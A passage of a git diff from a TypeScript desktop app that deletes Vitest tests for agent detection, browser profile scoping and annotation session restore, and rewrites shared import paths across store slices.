detectAgents - .mockReturnValueOnce( - new Promise((resolve) => { - finishBackground = resolve - }) - ) - .mockResolvedValueOnce(['codex']) - const background = store.getState().ensureDetectedAgents() - const picker = store.getState().ensureDetectedAgentsForPicker() - - expect(detectAgents).toHaveBeenLastCalledWith(expect.objectContaining({ wakeWslDistro: true })) - await expect(picker).resolves.toEqual(['codex']) - // The background probe settles later but no longer owns the context. - finishBackground([]) - await background - expect(store.getState().readLocalAgentInventory()).toEqual({ - ids: ['codex'], - state: 'successful' - }) - // A known list is reused: opening the picker again probes nothing. - detectAgents.mockClear() - await store.getState().ensureDetectedAgentsForPicker() - expect(detectAgents).not.toHaveBeenCalled() - }) - it('re-detects re-enabled agents and prevents pre-change requests from restoring caches', async () => { const store = createTestStore([]) let finishOld: (ids: string[]) => void = () => {} @@ -171,273 +73,4 @@ describe('local detected agent context lifecycle', () => { detectAgents.mockResolvedValueOnce(['claude', 'kiro']) await expect(store.getState().ensureDetectedAgents()).resolves.toEqual(['claude', 'kiro']) }) - - it('successful full refresh settles both modes with detects finishing last', async () => { - const store = createTestStore([]) - const enabledDetection = Promise.withResolvers() - const fullDetection = Promise.withResolvers() - const fullRefresh = Promise.withResolvers<{ agents: string[] }>() - detectAgents - .mockReturnValueOnce(enabledDetection.promise) - .mockReturnValueOnce(fullDetection.promise) - refreshAgents.mockReturnValueOnce(fullRefresh.promise) - const enabled = store.getState().ensureDetectedAgents() - const full = store.getState().ensureAllDetectedAgents() - const refreshed = store.getState().refreshAllDetectedAgents() - - expect(store.getState().isDetectingAgents).toBe(false) - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({ - host: true, - 'host\u0000all-agents': true - }) - const finishDetections = async () => { - enabledDetection.resolve(['claude']) - fullDetection.resolve(['claude', 'kiro']) - await Promise.all([enabled, full]) - } - fullRefresh.resolve({ agents: ['codex', 'kiro'] }) - await refreshed - await finishDetections() - - expect(store.getState().localDetectedAgentIdsByContext).toEqual({ - host: ['codex', 'kiro'], - 'host\u0000all-agents': ['codex', 'kiro'] - }) - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - expect(store.getState().isDetectingAgents).toBe(false) - expect(store.getState().isRefreshingAgents).toBe(false) - }) - - it('failed full refresh settles both modes with detects finishing last', async () => { - const store = createTestStore([]) - const enabledDetection = Promise.withResolvers() - const fullDetection = Promise.withResolvers() - const fullRefresh = Promise.withResolvers<{ agents: string[] }>() - detectAgents - .mockReturnValueOnce(enabledDetection.promise) - .mockReturnValueOnce(fullDetection.promise) - refreshAgents.mockReturnValueOnce(fullRefresh.promise) - const enabled = store.getState().ensureDetectedAgents() - const full = store.getState().ensureAllDetectedAgents() - const refreshed = store.getState().refreshAllDetectedAgents() - - expect(store.getState().isDetectingAgents).toBe(false) - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({ - host: true, - 'host\u0000all-agents': true - }) - const finishDetections = async () => { - enabledDetection.resolve(['claude']) - fullDetection.resolve(['claude', 'kiro']) - await Promise.all([enabled, full]) - } - fullRefresh.reject(new Error('shell unavailable')) - await refreshed - await finishDetections() - - expect(store.getState().localDetectedAgentIdsByContext).toEqual({ - host: [], - 'host\u0000all-agents': [] - }) - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - expect(store.getState().isDetectingAgents).toBe(false) - expect(store.getState().isRefreshingAgents).toBe(false) - }) - - it('publishes a complete refresh to automatic readers without letting their late probe overwrite it', async () => { - const store = createTestStore([]) - store.setState({ settings: { ...store.getState().settings!, disabledTuiAgents: ['kiro'] } }) - let finishOld: (ids: string[]) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((resolve) => { - finishOld = resolve - }) - ) - const old = store.getState().ensureDetectedAgents() - let finishRefresh: (result: { agents: string[] }) => void = () => {} - refreshAgents.mockReturnValueOnce( - new Promise((resolve) => { - finishRefresh = resolve - }) - ) - const settings = store.getState().refreshAllDetectedAgents() - const automatic = store.getState().ensureDetectedAgents() - expect(store.getState().refreshDetectedAgents()).toBe(automatic) - finishOld(['claude']) - await old - finishRefresh({ agents: ['codex', 'kiro'] }) - await expect(settings).resolves.toEqual(['codex', 'kiro']) - await expect(automatic).resolves.toEqual(['codex']) - expect(store.getState().detectedAgentIds).toEqual(['codex']) - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toEqual([ - 'codex', - 'kiro' - ]) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - }) - - it('preserves both inventories on full refresh failure without treating a partial list as complete', async () => { - const store = createTestStore([]) - detectAgents.mockResolvedValueOnce(['claude']) - await store.getState().ensureDetectedAgents() - refreshAgents.mockRejectedValueOnce(new Error('shell unavailable')) - await expect(store.getState().refreshAllDetectedAgents()).resolves.toEqual([]) - expect(store.getState().detectedAgentIds).toEqual(['claude']) - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toEqual([]) - expect(store.getState().readLocalAgentInventory().state).toBe('failed') - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - detectAgents.mockResolvedValueOnce(['claude', 'kiro']) - await expect(store.getState().ensureAllDetectedAgents()).resolves.toEqual(['claude', 'kiro']) - expect(store.getState().localDetectedAgentIdsByContext.host).toEqual(['claude']) - }) - - it('detaches both modes of a full refresh when disabled preferences change', async () => { - const store = createTestStore([]) - let finishOld: (result: { agents: string[] }) => void = () => {} - refreshAgents.mockReturnValueOnce( - new Promise((resolve) => { - finishOld = resolve - }) - ) - const oldSettings = store.getState().refreshAllDetectedAgents() - const oldAutomatic = store.getState().ensureDetectedAgents() - store.setState({ settings: { ...store.getState().settings!, disabledTuiAgents: ['kiro'] } }) - detectAgents.mockResolvedValueOnce(['codex']) - await store.getState().ensureDetectedAgents() - finishOld({ agents: ['claude', 'kiro'] }) - await Promise.all([oldSettings, oldAutomatic]) - expect(store.getState().detectedAgentIds).toEqual(['codex']) - expect(store.getState().localDetectedAgentIdsByContext['host\u0000all-agents']).toBeUndefined() - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - }) - - it('keeps native provider inventory across WSL selection and refresh', async () => { - const store = createTestStore([makeRepo('repo-1')]) - const projects = store.getState().projects - detectAgents.mockResolvedValueOnce(['grok']).mockResolvedValueOnce([]) - await store.getState().ensureNativeDetectedAgents() - expect(detectAgents).toHaveBeenNthCalledWith(1, { enabledOnly: true }) - await store.getState().ensureDetectedAgents() - await store.getState().refreshDetectedAgents() - expect(readNativeDetectedAgents(store.getState())).toEqual(['grok']) - expect(store.getState().detectedAgentIds).toEqual(['codex']) - const inventory = store.getState().readLocalAgentInventory(FLOATING_TERMINAL_WORKTREE_ID) - expect(inventory).toEqual({ ids: ['grok'], state: 'successful' }) - store.setState({ projects: [] }) - refreshAgents.mockRejectedValueOnce(new Error('native refresh failed')) - await expect(store.getState().refreshDetectedAgents()).resolves.toEqual(['grok']) - expect(readNativeDetectedAgents(store.getState())).toEqual(['grok']) - expect(store.getState().detectedAgentIds).toEqual(['grok']) - expect(store.getState().isRefreshingAgents).toBe(false) - expect(store.getState().isRefreshingLocalAgentsByContext).toEqual({}) - await expect(store.getState().ensureNativeDetectedAgents()).resolves.toEqual(['grok']) - - let finish: (result: { agents: string[] }) => void = () => {} - refreshAgents.mockReturnValueOnce( - new Promise((resolve) => { - finish = resolve - }) - ) - store.setState({ projects }) - const wslRefresh = store.getState().refreshDetectedAgents() - expect(store.getState().detectedAgentIds).toBeNull() - finish({ agents: ['codex'] }) - await wslRefresh - expect(store.getState().detectedAgentIds).toEqual(['codex']) - expect(readNativeDetectedAgents(store.getState())).toEqual(['grok']) - store.setState({ projects: [] }) - await store.getState().refreshDetectedAgents() - expect(readNativeDetectedAgents(store.getState())).toEqual(['codex']) - }) - - it('reacquires requested native inventory across preference changes and fences retired native probes', async () => { - const store = createTestStore([makeRepo('repo-1')]) - const firstDetection = Promise.withResolvers() - const disabledDetection = Promise.withResolvers() - const reenabledDetection = Promise.withResolvers() - detectAgents - .mockReturnValueOnce(firstDetection.promise) - .mockReturnValueOnce(disabledDetection.promise) - .mockReturnValueOnce(reenabledDetection.promise) - const first = store.getState().ensureNativeDetectedAgents() - const settings = store.getState().settings! - - store.setState({ settings: { ...settings, disabledTuiAgents: ['pi'] } }) - store.setState({ settings: { ...settings, disabledTuiAgents: [] } }) - reenabledDetection.resolve(['pi', 'codex']) - await vi.waitFor(() => - expect(readNativeDetectedAgents(store.getState())).toEqual(['pi', 'codex']) - ) - disabledDetection.resolve(['codex']) - firstDetection.resolve(['claude']) - await first - expect(readNativeDetectedAgents(store.getState())).toEqual(['pi', 'codex']) - expect(store.getState().detectedAgentIds).toBeNull() - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - }) - - it('does not restore a project context cleared while detection is in flight', async () => { - let resolveDetection: (agents: string[]) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((resolve) => { - resolveDetection = resolve - }) - ) - const store = createTestStore([makeRepo('repo-1')]) - - const pending = store.getState().ensureDetectedAgents() - store.getState().clearLocalDetectedAgentContextsForProjects(['repo-1']) - resolveDetection(['claude']) - - await expect(pending).resolves.toEqual(['claude']) - expect(store.getState().localDetectedAgentIdsByContext).toEqual({}) - expect(store.getState().isDetectingLocalAgentsByContext).toEqual({}) - expect(store.getState().detectedAgentIds).toBeNull() - }) - - it('does not let an older failed detect erase a successful refresh', async () => { - let rejectDetection: (error: Error) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((_resolve, reject) => { - rejectDetection = reject - }) - ) - const store = createTestStore([]) - - const detect = store.getState().ensureDetectedAgents() - await expect(store.getState().refreshDetectedAgents()).resolves.toEqual(['codex']) - rejectDetection(new Error('older detect failed')) - await expect(detect).resolves.toEqual([]) - - expect(store.getState().detectedAgentIds).toEqual(['codex']) - expect(store.getState().localDetectedAgentIdsByContext.host).toEqual(['codex']) - await expect(store.getState().ensureDetectedAgents()).resolves.toEqual(['codex']) - }) - - it('retries after an authoritative refresh fails without a usable cache', async () => { - let resolveDetection: (agents: string[]) => void = () => {} - detectAgents.mockReturnValueOnce( - new Promise((resolve) => { - resolveDetection = resolve - }) - ) - refreshAgents.mockRejectedValueOnce(new Error('transient refresh failure')) - const store = createTestStore([]) - - const supersededDetect = store.getState().ensureDetectedAgents(FLOATING_TERMINAL_WORKTREE_ID) - await expect( - store.getState().refreshDetectedAgents(FLOATING_TERMINAL_WORKTREE_ID) - ).resolves.toEqual([]) - resolveDetection(['grok']) - await expect(supersededDetect).resolves.toEqual(['grok']) - - await expect( - store.getState().ensureDetectedAgents(FLOATING_TERMINAL_WORKTREE_ID) - ).resolves.toEqual(['claude']) - expect(store.getState().localDetectedAgentIdsByContext.host).toEqual(['claude']) - }) }) diff --git a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts index 4b877253fb1..1ef4d9449ce 100644 --- a/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts +++ b/src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.ts @@ -1,6 +1,6 @@ import { haveSameDisabledTuiAgents } from '../../../../../shared/agent-launch/catalog/tui-agent-selection' import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context' import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key' import * as contextEviction from './local-agent-context-eviction' diff --git a/src/renderer/src/store/slices/agent-status/agent-pane-conversation.ts b/src/renderer/src/store/slices/agent-status/agent-pane-conversation.ts index db0faca452f..147c4255e53 100644 --- a/src/renderer/src/store/slices/agent-status/agent-pane-conversation.ts +++ b/src/renderer/src/store/slices/agent-status/agent-pane-conversation.ts @@ -13,7 +13,7 @@ import type { } from '../../../../../shared/agent-status/contracts/agent-status-types' import { AGENT_STATE_HISTORY_MAX } from '../../../../../shared/agent-status/lifecycle/agent-state-history' import { sameAgentStatusTerminalOwner } from '../../../../../shared/agent-status/identity/agent-status-terminal-owner' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state' import type { AppState } from '../../types' diff --git a/src/renderer/src/store/slices/agent-status/agent-pane-execution-host.ts b/src/renderer/src/store/slices/agent-status/agent-pane-execution-host.ts index 9010a113877..1bf37738a4f 100644 --- a/src/renderer/src/store/slices/agent-status/agent-pane-execution-host.ts +++ b/src/renderer/src/store/slices/agent-status/agent-pane-execution-host.ts @@ -1,7 +1,7 @@ import type { AppState } from '../../types' import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' -import { getConnectionExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' import { getStructuredAgentSessionTabsByPaneKey } from '@/components/native-chat/session/status/structured-agent-session-tabs' diff --git a/src/renderer/src/store/slices/agent-status/agent-status-connection-worktree-scope.ts b/src/renderer/src/store/slices/agent-status/agent-status-connection-worktree-scope.ts index c2841a3f184..13240b01bcd 100644 --- a/src/renderer/src/store/slices/agent-status/agent-status-connection-worktree-scope.ts +++ b/src/renderer/src/store/slices/agent-status/agent-status-connection-worktree-scope.ts @@ -2,7 +2,7 @@ import type { AppState } from '../../types' import { getRepoExecutionHostId, getWorktreeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { selectWorktreesByRepo } from '../../workspaces/catalog/workspace-record-fields' // Resolve unstamped SSH rows via canonical hostId-first worktree ownership (#9030). Clear only unambiguous connection IDs: repoId::path collides across hosts, and teardown must not hide sibling status. diff --git a/src/renderer/src/store/slices/agent-status/agent-status-orchestration-actions.ts b/src/renderer/src/store/slices/agent-status/agent-status-orchestration-actions.ts index bc2d43f2865..d12f9f61d9d 100644 --- a/src/renderer/src/store/slices/agent-status/agent-status-orchestration-actions.ts +++ b/src/renderer/src/store/slices/agent-status/agent-status-orchestration-actions.ts @@ -3,7 +3,7 @@ import { recordOrchestrationProducer, orchestrationProducer } from '@/runtime/agent-orchestration/visible-agent-orchestration' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { AgentStatusEntry, AgentStatusOrchestrationContext diff --git a/src/renderer/src/store/slices/browser/browser-slice-contract.ts b/src/renderer/src/store/slices/browser/browser-slice-contract.ts index ddbb13ad7b0..110f7c9f3a1 100644 --- a/src/renderer/src/store/slices/browser/browser-slice-contract.ts +++ b/src/renderer/src/store/slices/browser/browser-slice-contract.ts @@ -30,7 +30,7 @@ import type { PendingClientHostedBrowserClose } from '@/runtime/browser/closing/client-hosted-browser-close-intents' import type { WorkspaceSessionHydrationOptions } from '@/lib/workspace/persistence/workspace-session-hydration-keys' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TabSplitDirection, TabSplitTarget } from '../tabs/tabs-slice-contract' import type { RuntimeBrowserPlacement } from '../../../../../shared/browser/client-hosting/runtime-browser-placement' diff --git a/src/renderer/src/store/slices/browser/browser-slice-test-harness.ts b/src/renderer/src/store/slices/browser/browser-slice-test-harness.ts index e6e2846e7dd..ad808f72cd9 100644 --- a/src/renderer/src/store/slices/browser/browser-slice-test-harness.ts +++ b/src/renderer/src/store/slices/browser/browser-slice-test-harness.ts @@ -2,7 +2,7 @@ import { vi, type Mock } from 'vitest' import { create } from 'zustand' import { createBrowserSlice } from './create-browser-slice' import type { AppState } from '../../types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { createCompatibleRuntimeStatusResponseIfNeeded, type RuntimeEnvironmentCallRequest diff --git a/src/renderer/src/store/slices/browser/browser.test.ts b/src/renderer/src/store/slices/browser/browser.test.ts index b1f1a485f63..2f1d219f888 100644 --- a/src/renderer/src/store/slices/browser/browser.test.ts +++ b/src/renderer/src/store/slices/browser/browser.test.ts @@ -5,10 +5,9 @@ import { type BrowserPageAnnotation } from '../../../../../shared/browser/element-grab/browser-grab-types' import { makeAnnotation } from './annotations/browser-annotation-test-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import '../../../../../shared/workspace-layout/layout-owner-switch' -import type { BrowserSessionProfile } from '../../../../../shared/browser/workspaces/browser-workspace-types' -import type { ManagedBrowserProfileOwner } from '../../../../../shared/browser/profiles/browser-profile-scope' + import '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture' import { createBrowserMockApi } from './browser-slice-test-harness' import { createTestStoreDrawnFromMain } from './browser-slice-drawn-from-main.test-fixture' @@ -88,120 +87,6 @@ describe('createBrowserSlice annotations', () => { expect(store.getState().browserCertificateFailuresByPageId[pageId]).toBeUndefined() }) - it('gives each repo its own profile under the per-repo scope and holds pages until main has it', async () => { - const created = new Map void>() - const ensureMock = vi.fn( - ({ owner }: { owner: ManagedBrowserProfileOwner }) => - new Promise((resolve) => created.set(owner.id, resolve)) - ) - Object.assign(mockApi.browser, { sessionEnsureManagedProfile: ensureMock }) - const { store, main } = await createTestStoreDrawnFromMain({ - repos: [], - settings: { - ...getDefaultSettings('/tmp'), - browserProfileScope: 'repo', - browserDefaultProfileIdByHostId: { local: 'user-default' } - } - }) - - const first = store.getState().createBrowserTab('repo-a::/a/one', 'about:blank') - const sibling = store.getState().createBrowserTab('repo-a::/a/two', 'about:blank') - const other = store.getState().createBrowserTab('repo-b::/b/one', 'about:blank') - await main.settle() - - const placeholderId = first.sessionProfileId ?? '' - expect(sibling.sessionProfileId).toBe(placeholderId) - expect(other.sessionProfileId).not.toBe(placeholderId) - expect(placeholderId).not.toBe('user-default') - expect(ensureMock.mock.calls.map(([args]) => args.owner)).toEqual([ - { kind: 'repo', id: 'repo-a' }, - { kind: 'repo', id: 'repo-b' } - ]) - expect(store.getState().managedBrowserProfileStatusById[placeholderId]).toBe('pending') - // A placeholder that outlives this run must load nowhere, never on the shared Default jar. - expect(first.sessionPartition).toBe(`persist:orca-browser-unminted-${placeholderId}`) - store.getState().closeBrowserTab(sibling.id) - await main.settle() - - const profile: BrowserSessionProfile = { - id: 'minted-by-main', - scope: 'isolated', - partition: 'persist:orca-browser-session-minted-by-main', - label: 'Repo: repo-a', - source: null, - owner: { kind: 'repo', id: 'repo-a' } - } - created.get('repo-a')?.(profile) - await vi.waitFor(() => - expect(store.getState().managedBrowserProfileStatusById[placeholderId]).toBeUndefined() - ) - // A tab closed while it waited reopens on the profile main made, not the placeholder. - expect(store.getState().reopenClosedBrowserTab('repo-a::/a/two')).not.toBeNull() - await main.settle() - const repoATabs = ['repo-a::/a/one', 'repo-a::/a/two'].flatMap( - (worktreeId) => store.getState().browserTabsByWorktree[worktreeId] ?? [] - ) - expect(repoATabs.map((tab) => tab.sessionPartition ?? null)).toEqual([null, null]) - expect(repoATabs.map((tab) => tab.sessionProfileId)).toEqual([ - 'minted-by-main', - 'minted-by-main' - ]) - expect(store.getState().browserSessionProfilesByHostId.local).toEqual([profile]) - - const later = store.getState().createBrowserTab('repo-a::/a/three', 'about:blank') - expect(later.sessionProfileId).toBe('minted-by-main') - expect(store.getState().managedBrowserProfileStatusById['minted-by-main']).toBeUndefined() - }) - - it("opens new tabs on the repo's picked profile over the scope, until that profile is gone", async () => { - const ensureMock = vi.fn( - (_args: { owner: ManagedBrowserProfileOwner }) => new Promise(() => {}) - ) - Object.assign(mockApi.browser, { sessionEnsureManagedProfile: ensureMock }) - const profile = (id: string): BrowserSessionProfile => ({ - id, - scope: id === 'default' ? 'default' : 'isolated', - partition: `persist:${id}`, - label: id, - source: null - }) - const repo = (id: string, browserProfileId: string) => ({ - id, - path: `/${id}`, - displayName: id, - badgeColor: '#000000', - addedAt: 0, - browserProfileId - }) - const { store, main } = await createTestStoreDrawnFromMain({ - repos: [ - repo('work', 'work-profile'), - repo('plain', 'default'), - repo('stale', 'deleted'), - { ...repo('remote', 'work-profile'), connectionId: 'conn-1' } - ], - browserSessionProfilesByHostId: { local: [profile('default'), profile('work-profile')] }, - settings: { ...getDefaultSettings('/tmp'), browserProfileScope: 'repo' } - }) - - const work = store.getState().createBrowserTab('work::/work/one', 'about:blank') - const plain = store.getState().createBrowserTab('plain::/plain/one', 'about:blank') - const stale = store.getState().createBrowserTab('stale::/stale/one', 'about:blank') - // Agent opens render an SSH workspace's page on this desktop, so they name the local host. - const agentOnSsh = store.getState().createBrowserTab('remote::/remote/one', 'about:blank', { - browserRuntimeEnvironmentId: null - }) - await main.settle() - - expect(work.sessionProfileId).toBe('work-profile') - expect(agentOnSsh.sessionProfileId).toBe('work-profile') - expect(plain.sessionProfileId).toBeNull() - expect(ensureMock.mock.calls.map(([args]) => args)).toEqual([ - expect.objectContaining({ owner: { kind: 'repo', id: 'stale' } }) - ]) - expect(stale.sessionProfileId).not.toBe('deleted') - }) - it('sanitizes persistent annotation payloads at the store boundary', async () => { const { store, main } = await createTestStoreDrawnFromMain() const tab = store.getState().createBrowserTab('wt-1', 'https://example.com') diff --git a/src/renderer/src/store/slices/browser/history/browser-history-actions.ts b/src/renderer/src/store/slices/browser/history/browser-history-actions.ts index 9065957b5d4..5af4226d450 100644 --- a/src/renderer/src/store/slices/browser/history/browser-history-actions.ts +++ b/src/renderer/src/store/slices/browser/history/browser-history-actions.ts @@ -19,7 +19,7 @@ import { workspaceDocHistoryEntriesEqual } from '../../../../../../shared/workspace-session/workspace-doc-history' import { browserPageDocLocationsEqual } from '../../../../../../shared/browser/workspaces/browser-page-doc-location' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' export function createBrowserHistoryActions( diff --git a/src/renderer/src/store/slices/browser/hosts/browser-host-actions.ts b/src/renderer/src/store/slices/browser/hosts/browser-host-actions.ts index 588c0ba21c9..393aeed5420 100644 --- a/src/renderer/src/store/slices/browser/hosts/browser-host-actions.ts +++ b/src/renderer/src/store/slices/browser/hosts/browser-host-actions.ts @@ -4,7 +4,7 @@ import { recordClientHostedBrowserCloseIntents } from '@/runtime/browser/closing/client-hosted-browser-close-intents' import { getBrowserSettingsHostId, updateDefaultBrowserProfileForHost } from './browser-host-state' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function createBrowserHostActions( set: BrowserSliceSet, diff --git a/src/renderer/src/store/slices/browser/hosts/browser-host-state.ts b/src/renderer/src/store/slices/browser/hosts/browser-host-state.ts index ecd0026e1c4..df525ee0e86 100644 --- a/src/renderer/src/store/slices/browser/hosts/browser-host-state.ts +++ b/src/renderer/src/store/slices/browser/hosts/browser-host-state.ts @@ -10,7 +10,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { BrowserSlice, BrowserCookieImportExecutionResult, diff --git a/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts b/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts deleted file mode 100644 index c7abb5bdf9e..00000000000 --- a/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import '../../../../../../shared/constants' -import { parseWorkspaceSession } from '../../../../../../shared/workspace-session/workspace-session-schema' -import type { WorkspaceSessionState } from '../../../../../../shared/workspace-session/workspace-session-state-types' -import { buildWorkspaceSessionPayload } from '@/lib/workspace/persistence/workspace-session' -import { createTestStore } from '../../../testing/app-store-test-fixture' -import { createStoreSessionMockApi } from '../../../testing/app-store-session-api.test-fixture' -import { makeWorktree } from '../../worktrees/worktree.test-fixture' -import { makeBrowserTab } from '../browser-tab.test-fixture' -import { makeAnnotation } from '../annotations/browser-annotation-test-fixture' - -vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } })) - -createStoreSessionMockApi() - -const WT = 'repo1::/path/wt1' - -function createHydratedStore(session: WorkspaceSessionState) { - const store = createTestStore() - store.setState({ - repos: [{ id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }], - worktreesByRepo: { repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })] }, - activeWorktreeId: WT - }) - store.getState().hydrateBrowserSession(session) - return store -} - -describe('unsent browser notes across a restart', () => { - it('restores a page’s unsent notes from the saved session', () => { - const before = createHydratedStore({ - activeRepoId: 'repo1', - activeWorktreeId: WT, - activeTabId: null, - tabsByWorktree: {}, - terminalLayoutsByTabId: {}, - browserTabsByWorktree: { - [WT]: [makeBrowserTab({ id: 'workspace-1', worktreeId: WT, url: 'https://example.com/' })] - }, - browserPagesByWorkspace: { - 'workspace-1': [ - { - id: 'page-1', - workspaceId: 'workspace-1', - worktreeId: WT, - url: 'https://example.com/', - title: 'Example', - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1 - } - ] - }, - activeBrowserTabIdByWorktree: { [WT]: 'workspace-1' } - }) - before.getState().addBrowserPageAnnotation(makeAnnotation('page-1')) - - const saved = parseWorkspaceSession( - JSON.parse(JSON.stringify(buildWorkspaceSessionPayload(before.getState()))) - ) - if (!saved.ok) { - throw new Error(saved.error) - } - const after = createHydratedStore(saved.value) - - expect(after.getState().browserAnnotationsByPageId).toEqual({ - 'page-1': [makeAnnotation('page-1')] - }) - expect(after.getState().browserPagesByWorkspace['workspace-1']?.[0]).not.toHaveProperty( - 'annotations' - ) - }) -}) diff --git a/src/renderer/src/store/slices/browser/hydration/browser-hydration-actions.ts b/src/renderer/src/store/slices/browser/hydration/browser-hydration-actions.ts index 3e2ac5ee9ad..73cbabcae73 100644 --- a/src/renderer/src/store/slices/browser/hydration/browser-hydration-actions.ts +++ b/src/renderer/src/store/slices/browser/hydration/browser-hydration-actions.ts @@ -1,5 +1,5 @@ import { markHydratedBrowserPageHandles } from '../hosts/browser-initialization-presentation-ownership' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import type { BrowserSlice, BrowserSliceGet, BrowserSliceSet } from '../browser-slice-contract' import { addAdditionalValidWorkspaceKeys } from '@/lib/workspace/persistence/workspace-session-hydration-keys' diff --git a/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts b/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts index 849284183d4..8aa4bb12b49 100644 --- a/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts +++ b/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts @@ -4,7 +4,7 @@ import type { } from '../../../../../../shared/browser/workspaces/browser-workspace-types' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/identifiers/non-secure-context-uuid' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/workspace-layout/layout-owner-switch' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import type { PersistedBrowserPage, diff --git a/src/renderer/src/store/slices/browser/pages/browser-page-create-actions.ts b/src/renderer/src/store/slices/browser/pages/browser-page-create-actions.ts index 45f4bbb9f58..3f3f199cdd3 100644 --- a/src/renderer/src/store/slices/browser/pages/browser-page-create-actions.ts +++ b/src/renderer/src/store/slices/browser/pages/browser-page-create-actions.ts @@ -11,7 +11,7 @@ import { findWorkspace, mirrorWorkspaceFromActivePage } from './browser-page-records' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { closeRemoteBrowserPageInOwningEnvironment } from '../hosts/browser-remote-close' import { releaseDocPreviewGrant } from '@/lib/browser/documents/doc-preview-grants' diff --git a/src/renderer/src/store/slices/browser/pages/browser-page-records.ts b/src/renderer/src/store/slices/browser/pages/browser-page-records.ts index 20174879196..c4529c1f446 100644 --- a/src/renderer/src/store/slices/browser/pages/browser-page-records.ts +++ b/src/renderer/src/store/slices/browser/pages/browser-page-records.ts @@ -4,7 +4,7 @@ import type { BrowserWorkspace } from '../../../../../../shared/browser/workspaces/browser-workspace-types' import { browserPageDocLocationsEqual } from '../../../../../../shared/browser/workspaces/browser-page-doc-location' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page' import { getBrowserDisplayTitle } from 